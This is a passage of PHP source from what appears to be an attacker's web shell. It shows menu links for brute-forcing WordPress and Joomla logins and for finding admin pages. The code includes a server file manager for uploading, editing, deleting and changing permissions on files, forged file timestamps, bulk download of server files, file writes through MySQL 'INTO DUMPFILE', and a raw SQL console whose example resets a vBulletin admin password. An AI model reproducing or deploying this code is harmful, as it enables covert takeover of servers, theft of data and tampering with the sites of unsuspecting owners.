944 <li><a href="javascript:goaction('brutewp');" >Brute Wordpress</a></li>
945 <li><a href="javascript:goaction('brutejl');" >Brute Joomla</a></li>
946 </ul>
947 </li>
948 <li><a href="javascript:goaction('findadmin');"><font color=#52F3FF>Find Admin</font></a></li>
949
950 <div id="lavalamp"></div>
951</ul>
952
953 </td>
954 </tr>
955</table>
956<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
957<?php
958
959formhead(array('name'=>'goaction'));
960makehide('action');
961formfoot();
962
963$errmsg && m($errmsg);
964
965// Dir function
966!$dir && $dir = '.';
967$nowpath = getPath(SA_ROOT, $dir);
968if (substr($dir, -1) != '/') {
969 $dir = $dir.'/';
970}
971$uedir = ue($dir);
972
973if (!$action || $action == 'file') {
974
975 // Non-writeable
976 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
977
978 // Delete dir
979 if ($doing == 'deldir' && $thefile) {
980 if (!file_exists($thefile)) {
981 m($thefile.' directory does not exist');
982 } else {
983 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
984 }
985 }
986
987 // Create new dir
988 elseif ($newdirname) {
989 $mkdirs = $nowpath.$newdirname;
990 if (file_exists($mkdirs)) {
991 m('Directory has already existed');
992 } else {
993 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
994 @chmod($mkdirs,0777);
995 }
996 }
997
998 // Upload file
999 elseif ($doupfile) {
1000 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
1001 }
1002
1003 // Edit file
1004 elseif ($editfilename && $filecontent) {
1005 $fp = @fopen($editfilename,'w');
1006 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
1007 @fclose($fp);
1008 }
1009
1010 // Modify
1011 elseif ($pfile && $newperm) {
1012 if (!file_exists($pfile)) {
1013 m('The original file does not exist');
1014 } else {
1015 $newperm = base_convert($newperm,8,10);
1016 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
1017 }
1018 }
1019
1020 // Rename
1021 elseif ($oldname && $newfilename) {
1022 $nname = $nowpath.$newfilename;
1023 if (file_exists($nname) || !file_exists($oldname)) {
1024 m($nname.' has already existed or original file does not exist');
1025 } else {
1026 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
1027 }
1028 }
1029
1030 // Copu
1031 elseif ($sname && $tofile) {
1032 if (file_exists($tofile) || !file_exists($sname)) {
1033 m('The goal file has already existed or original file does not exist');
1034 } else {
1035 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
1036 }
1037 }
1038
1039 // File exit
1040 elseif ($curfile && $tarfile) {
1041 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
1042 m('The goal file has already existed or original file does not exist');
1043 } else {
1044 $time = @filemtime($tarfile);
1045 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1046 }
1047 }
1048
1049 // Date
1050 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
1051 if (!@file_exists($curfile)) {
1052 m(basename($curfile).' does not exist');
1053 } else {
1054 $time = strtotime("$year-$month-$day $hour:$minute:$second");
1055 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1056 }
1057 }
1058
1059 // Download
1060 elseif($doing == 'downrar') {
1061 if ($dl) {
1062 $dfiles='';
1063 foreach ($dl as $filepath => $value) {
1064 $dfiles.=$filepath.',';
1065 }
1066 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
1067 $dl=explode(',',$dfiles);
1068 $zip=new PHPZip($dl);
1069 $code=$zip->out;
1070 header('Content-type: application/octet-stream');
1071 header('Accept-Ranges: bytes');
1072 header('Accept-Length: '.strlen($code));
1073 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
1074 echo $code;
1075 exit;
1076 } else {
1077 m('Please select file(s)');
1078 }
1079 }
1080
1081 // Delete file
1082 elseif($doing == 'delfiles') {
1083 if ($dl) {
1084 $dfiles='';
1085 $succ = $fail = 0;
1086 foreach ($dl as $filepath => $value) {
1087 if (@unlink($filepath)) {
1088 $succ++;
1089 } else {
1090 $fail++;
1091 }
1092 }
1093 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
1094 } else {
1095 m('Please select file(s)');
1096 }
1097 }
1098
1099 // Function Newdir
1100 formhead(array('name'=>'createdir'));
1101 makehide('newdirname');
1102 makehide('dir',$nowpath);
1103 formfoot();
1104 formhead(array('name'=>'fileperm'));
1105 makehide('newperm');
1106 makehide('pfile');
1107 makehide('dir',$nowpath);
1108 formfoot();
1109 formhead(array('name'=>'copyfile'));
1110 makehide('sname');
1111 makehide('tofile');
1112 makehide('dir',$nowpath);
1113 formfoot();
1114 formhead(array('name'=>'rename'));
1115 makehide('oldname');
1116 makehide('newfilename');
1117 makehide('dir',$nowpath);
1118 formfoot();
1119 formhead(array('name'=>'fileopform'));
1120 makehide('action');
1121 makehide('opfile');
1122 makehide('dir');
1123 formfoot();
1124
1125 $free = @disk_free_space($nowpath);
1126 !$free && $free = 0;
1127 $all = @disk_total_space($nowpath);
1128 !$all && $all = 0;
1129 $used = $all-$free;
1130 $used_percent = @round(100/($all/$free),2);
1131 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
1132
1133?>
1134<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
1135 <form action="" method="post" id="godir" name="godir">
1136 <tr>
1137 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
1138 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
1139 <td nowrap><input class="bt" value="GO" type="submit"></td>
1140 </tr>
1141 </form>
1142</table>
1143<script type="text/javascript">
1144function createdir(){
1145 var newdirname;
1146 newdirname = prompt('Please input the directory name:', '');
1147 if (!newdirname) return;
1148 $('createdir').newdirname.value=newdirname;
1149 $('createdir').submit();
1150}
1151function fileperm(pfile){
1152 var newperm;
1153 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
1154 if (!newperm) return;
1155 $('fileperm').newperm.value=newperm;
1156 $('fileperm').pfile.value=pfile;
1157 $('fileperm').submit();
1158}
1159function copyfile(sname){
1160 var tofile;
1161 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
1162 if (!tofile) return;
1163 $('copyfile').tofile.value=tofile;
1164 $('copyfile').sname.value=sname;
1165 $('copyfile').submit();
1166}
1167function rename(oldname){
1168 var newfilename;
1169 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
1170 if (!newfilename) return;
1171 $('rename').newfilename.value=newfilename;
1172 $('rename').oldname.value=oldname;
1173 $('rename').submit();
1174}
1175function dofile(doing,thefile,m){
1176 if (m && !confirm(m)) {
1177 return;
1178 }
1179 $('filelist').doing.value=doing;
1180 if (thefile){
1181 $('filelist').thefile.value=thefile;
1182 }
1183 $('filelist').submit();
1184}
1185function createfile(nowpath){
1186 var filename;
1187 filename = prompt('Please input the file name:', '');
1188 if (!filename) return;
1189 opfile('editfile',nowpath + filename,nowpath);
1190}
1191function opfile(action,opfile,dir){
1192 $('fileopform').action.value=action;
1193 $('fileopform').opfile.value=opfile;
1194 $('fileopform').dir.value=dir;
1195 $('fileopform').submit();
1196}
1197function godir(dir,view_writable){
1198 if (view_writable) {
1199 $('godir').view_writable.value=1;
1200 }
1201 $('godir').dir.value=dir;
1202 $('godir').submit();
1203}
1204</script>
1205 <?php
1206 tbhead();
1207 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
1208 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
1209 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
1210 if ($view_writable) {
1211 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
1212 } else {
1213 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
1214 }
1215 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
1216 if (IS_WIN && IS_COM) {
1217 $obj = new COM('scripting.filesystemobject');
1218 if ($obj && is_object($obj)) {
1219 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
1220 foreach($obj->Drives as $drive) {
1221 if ($drive->DriveType == 2) {
1222 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1223 } else {
1224 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1225 }
1226 }
1227 }
1228 }
1229
1230 p('</td></tr></form>');
1231
1232 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
1233
1234 // Get path
1235 $dirdata=array();
1236 $filedata=array();
1237
1238 if ($view_writable) {
1239 $dirdata = GetList($nowpath);
1240 } else {
1241 // Open dir
1242 $dirs=@opendir($dir);
1243 while ($file=@readdir($dirs)) {
1244 $filepath=$nowpath.$file;
1245 if(@is_dir($filepath)){
1246 $dirdb['filename']=$file;
1247 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1248 $dirdb['dirchmod']=getChmod($filepath);
1249 $dirdb['dirperm']=getPerms($filepath);
1250 $dirdb['fileowner']=getUser($filepath);
1251 $dirdb['dirlink']=$nowpath;
1252 $dirdb['server_link']=$filepath;
1253 $dirdb['client_link']=ue($filepath);
1254 $dirdata[]=$dirdb;
1255 } else {
1256 $filedb['filename']=$file;
1257 $filedb['size']=sizecount(@filesize($filepath));
1258 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1259 $filedb['filechmod']=getChmod($filepath);
1260 $filedb['fileperm']=getPerms($filepath);
1261 $filedb['fileowner']=getUser($filepath);
1262 $filedb['dirlink']=$nowpath;
1263 $filedb['server_link']=$filepath;
1264 $filedb['client_link']=ue($filepath);
1265 $filedata[]=$filedb;
1266 }
1267 }// while
1268 unset($dirdb);
1269 unset($filedb);
1270 @closedir($dirs);
1271 }
1272 @sort($dirdata);
1273 @sort($filedata);
1274 $dir_i = '0';
1275 foreach($dirdata as $key => $dirdb){
1276 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
1277 $thisbg = bg();
1278 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1279 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
1280 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1281 p('<td nowrap>'.$dirdb['mtime'].'</td>');
1282 p('<td nowrap>--</td>');
1283 p('<td nowrap>');
1284 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1285 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
1286 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
1287 p('</tr>');
1288 $dir_i++;
1289 } else {
1290 if($dirdb['filename']=='..') {
1291 p('<tr class=fout>');
1292 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
1293 p('</tr>');
1294 }
1295 }
1296 }
1297
1298 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
1299 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
1300 makehide('action','file');
1301 makehide('thefile');
1302 makehide('doing');
1303 makehide('dir',$nowpath);
1304 $file_i = '0';
1305 foreach($filedata as $key => $filedb){
1306 if($filedb['filename']!='..' && $filedb['filename']!='.') {
1307 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
1308 $thisbg = bg();
1309 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1310 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
1311 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
1312 p('<td nowrap>'.$filedb['mtime'].'</td>');
1313 p('<td nowrap>'.$filedb['size'].'</td>');
1314 p('<td nowrap>');
1315 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
1316 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
1317 p('<td nowrap>');
1318 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1319 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
1320 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1321 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
1322 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
1323 p('</td></tr>');
1324 $file_i++;
1325 }
1326 }
1327 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
1328 p('</form></table>');
1329}// end dir
1330
1331elseif ($action == 'sqlfile') {
1332 if($doing=="mysqlupload"){
1333 $file = $_FILES['uploadfile'];
1334 $filename = $file['tmp_name'];
1335 if (file_exists($savepath)) {
1336 m('The goal file has already existed');
1337 } else {
1338 if(!$filename) {
1339 m('Please choose a file');
1340 } else {
1341 $fp=@fopen($filename,'r');
1342 $contents=@fread($fp, filesize($filename));
1343 @fclose($fp);
1344 $contents = bin2hex($contents);
1345 if(!$upname) $upname = $file['name'];
1346 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1347 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1348 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1349 }
1350 }
1351 }
1352?>
1353<script type="text/javascript">
1354function mysqlfile(doing){
1355 if(!doing) return;
1356 $('doing').value=doing;
1357 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1358 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1359 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1360 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1361 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1362 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1363 $('mysqlfile').submit();
1364}
1365</script>
1366<?php
1367 !$dbhost && $dbhost = 'localhost';
1368 !$dbuser && $dbuser = 'root';
1369 !$dbport && $dbport = '3306';
1370 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1371 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1372 makehide('action','sqlfile');
1373 p('<p>');
1374 p('DBHost:');
1375 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1376 p(':');
1377 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1378 p('DBUser:');
1379 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1380 p('DBPass:');
1381 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1382 p('DBName:');
1383 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
1384 p('DBCharset:');
1385 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1386 p('</p>');
1387 formfoot();
1388 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
1389 p('<h2>Upload file</h2>');
1390 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1391 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1392 p('<h2>Download file</h2>');
1393 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1394 makehide('dbhost');
1395 makehide('dbport');
1396 makehide('dbuser');
1397 makehide('dbpass');
1398 makehide('dbname');
1399 makehide('charset');
1400 makehide('doing');
1401 makehide('action','sqlfile');
1402 p('</form>');
1403}
1404
1405elseif ($action == 'sqladmin') {
1406 !$dbhost && $dbhost = 'localhost';
1407 !$dbuser && $dbuser = 'root';
1408 !$dbport && $dbport = '3306';
1409 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1410 if(isset($dbhost)){
1411 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1412 }
1413 if(isset($dbuser)) {
1414 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1415 }
1416 if(isset($dbpass)) {
1417 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1418 }
1419 if(isset($dbport)) {
1420 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1421 }
1422 if(isset($dbname)) {
1423 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1424 }
1425 if(isset($charset)) {
1426 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1427 }
1428
1429 if ($doing == 'backupmysql' && $saveasfile) {
1430 if (!$table) {
1431 m('Please choose the table');
1432 } else {
1433 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1434 $table = array_flip($table);
1435 $fp = @fopen($path,'w');
1436 if ($fp) {
1437 $result = q('SHOW tables');
1438 if (!$result) p('<h2>'.mysql_error().'</h2>');
1439 $mysqldata = '';
1440 while ($currow = mysql_fetch_array($result)) {
1441 if (isset($table[$currow[0]])) {
1442 sqldumptable($currow[0], $fp);
1443 }
1444 }
1445 fclose($fp);
1446 $fileurl = str_replace(SA_ROOT,'',$path);
1447 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1448 mysql_close();
1449 } else {
1450 m('Backup failed');
1451 }
1452 }
1453 }
1454 if ($insert && $insertsql) {
1455 $keystr = $valstr = $tmp = '';
1456 foreach($insertsql as $key => $val) {
1457 if ($val) {
1458 $keystr .= $tmp.$key;
1459 $valstr .= $tmp."'".addslashes($val)."'";
1460 $tmp = ',';
1461 }
1462 }
1463 if ($keystr && $valstr) {
1464 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1465 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1466 }
1467 }
1468 if ($update && $insertsql && $base64) {
1469 $valstr = $tmp = '';
1470 foreach($insertsql as $key => $val) {
1471 $valstr .= $tmp.$key."='".addslashes($val)."'";
1472 $tmp = ',';
1473 }
1474 if ($valstr) {
1475 $where = base64_decode($base64);
1476 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1477 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1478 }
1479 }
1480 if ($doing == 'del' && $base64) {
1481 $where = base64_decode($base64);
1482 $delete_sql = "DELETE FROM $tablename WHERE $where";
1483 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1484 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1485 }
1486
1487 if ($tablename && $doing == 'drop') {
1488 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1489 if (q("DROP TABLE $tablename")) {
1490 m('Drop table of success');
1491 $tablename = '';
1492 } else {
1493 m(mysql_error());
1494 }
1495 }
1496
1497 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1498
1499 formhead(array('title'=>'MYSQL Manager'));
1500 makehide('action','sqladmin');
1501 p('<p>');
1502 p('DBHost:');
1503 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1504 p(':');
1505 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1506 p('DBUser:');
1507 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1508 p('DBPass:');
1509 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1510 p('DBCharset:');
1511 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1512 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1513 p('</p>');
1514 formfoot();
1515?>
1516<script type="text/javascript">
1517function editrecord(action, base64, tablename){
1518 if (action == 'del') {
1519 if (!confirm('Is or isn\'t deletion record?')) return;
1520 }
1521 $('recordlist').doing.value=action;
1522 $('recordlist').base64.value=base64;
1523 $('recordlist').tablename.value=tablename;
1524 $('recordlist').submit();
1525}
1526function moddbname(dbname) {
1527 if(!dbname) return;
1528 $('setdbname').dbname.value=dbname;
1529 $('setdbname').submit();
1530}
1531function settable(tablename,doing,page) {
1532 if(!tablename) return;
1533 if (doing) {
1534 $('settable').doing.value=doing;
1535 }
1536 if (page) {
1537 $('settable').page.value=page;
1538 }
1539 $('settable').tablename.value=tablename;
1540 $('settable').submit();
1541}
1542</script>
1543<?php
1544 // SQL
1545 formhead(array('name'=>'recordlist'));
1546 makehide('doing');
1547 makehide('action','sqladmin');
1548 makehide('base64');
1549 makehide('tablename');
1550 p($dbform);
1551 formfoot();
1552
1553 // Data
1554 formhead(array('name'=>'setdbname'));
1555 makehide('action','sqladmin');
1556 p($dbform);
1557 if (!$dbname) {
1558 makehide('dbname');
1559 }
1560 formfoot();
1561
1562
1563 formhead(array('name'=>'settable'));
1564 makehide('action','sqladmin');
1565 p($dbform);
1566 makehide('tablename');
1567 makehide('page',$page);
1568 makehide('doing');
1569 formfoot();
1570
1571 $cachetables = array();
1572 $pagenum = 30;
1573 $page = intval($page);
1574 if($page) {
1575 $start_limit = ($page - 1) * $pagenum;
1576 } else {
1577 $start_limit = 0;
1578 $page = 1;
1579 }
1580 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1581 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1582 // get mysql server
1583 $mysqlver = mysql_get_server_info();
1584 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1585 $highver = $mysqlver > '4.1' ? 1 : 0;
1586
1587 // Show database
1588 $query = q("SHOW DATABASES");
1589 $dbs = array();
1590 $dbs[] = '-- Select a database --';
1591 while($db = mysql_fetch_array($query)) {
1592 $dbs[$db['Database']] = $db['Database'];
1593 }
1594 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1595 $tabledb = array();
1596 if ($dbname) {
1597 p('<p>');
1598 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1599 if ($tablename) {
1600 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1601 }
1602 p('</p>');
1603 mysql_select_db($dbname);
1604
1605 $getnumsql = '';
1606 $runquery = 0;
1607 if ($sql_query) {
1608 $runquery = 1;
1609 }
1610 $allowedit = 0;
1611 if ($tablename && !$sql_query) {
1612 $sql_query = "SELECT * FROM $tablename";
1613 $getnumsql = $sql_query;
1614 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1615 $allowedit = 1;
1616 }
1617 p('<form action="'.$self.'" method="POST">');
1618 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1619 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1620 makehide('tablename', $tablename);
1621 makehide('action','sqladmin');
1622 p($dbform);
1623 p('</form>');
1624 if ($tablename || ($runquery && $sql_query)) {
1625 if ($doing == 'structure') {
1626 $result = q("SHOW COLUMNS FROM $tablename");
1627 $rowdb = array();
1628 while($row = mysql_fetch_array($result)) {
1629 $rowdb[] = $row;
1630 }
1631 p('<table border="0" cellpadding="3" cellspacing="0">');
1632 p('<tr class="head">');
1633 p('<td>Field</td>');
1634 p('<td>Type</td>');
1635 p('<td>Null</td>');
1636 p('<td>Key</td>');
1637 p('<td>Default</td>');
1638 p('<td>Extra</td>');
1639 p('</tr>');
1640 foreach ($rowdb as $row) {
1641 $thisbg = bg();
1642 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1643 p('<td>'.$row['Field'].'</td>');
1644 p('<td>'.$row['Type'].'</td>');
1645 p('<td>'.$row['Null'].' </td>');
1646 p('<td>'.$row['Key'].' </td>');
1647 p('<td>'.$row['Default'].' </td>');
1648 p('<td>'.$row['Extra'].' </td>');
1649 p('</tr>');
1650 }
1651 tbfoot();
1652 } elseif ($doing == 'insert' || $doing == 'edit') {
1653 $result = q('SHOW COLUMNS FROM '.$tablename);
1654 while ($row = mysql_fetch_array($result)) {
1655 $rowdb[] = $row;
1656 }
1657 $rs = array();
1658 if ($doing == 'insert') {
1659 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1660 } else {
1661 p('<h2>Update record in '.$tablename.' table »</h2>');
1662 $where = base64_decode($base64);
1663 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1664 $rs = mysql_fetch_array($result);
1665 }
1666 p('<form method="post" action="'.$self.'">');
1667 p($dbform);
1668 makehide('action','sqladmin');
1669 makehide('tablename',$tablename);
1670 p('<table border="0" cellpadding="3" cellspacing="0">');
1671 foreach ($rowdb as $row) {
1672 if ($rs[$row['Field']]) {
1673 $value = htmlspecialchars($rs[$row['Field']]);
1674 } else {
1675 $value = '';
1676 }
1677 $thisbg = bg();
1678 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1679 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1680 }
1681 if ($doing == 'insert') {
1682 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1683 } else {
1684 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1685 makehide('base64', $base64);
1686 }
1687 p('</table></form>');
1688 } else {
1689 $querys = @explode(';',$sql_query);
1690 foreach($querys as $num=>$query) {
1691 if ($query) {
1692 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1693 switch(qy($query))
1694 {
1695 case 0:
1696 p('<h2>Error : '.mysql_error().'</h2>');
1697 break;
1698 case 1:
1699 if (strtolower(substr($query,0,13)) == 'select * from') {
1700 $allowedit = 1;
1701 }
1702 if ($getnumsql) {
1703 $tatol = mysql_num_rows(q($getnumsql));
1704 $multipage = multi($tatol, $pagenum, $page, $tablename);
1705 }
1706 if (!$tablename) {
1707 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1708 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1709 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
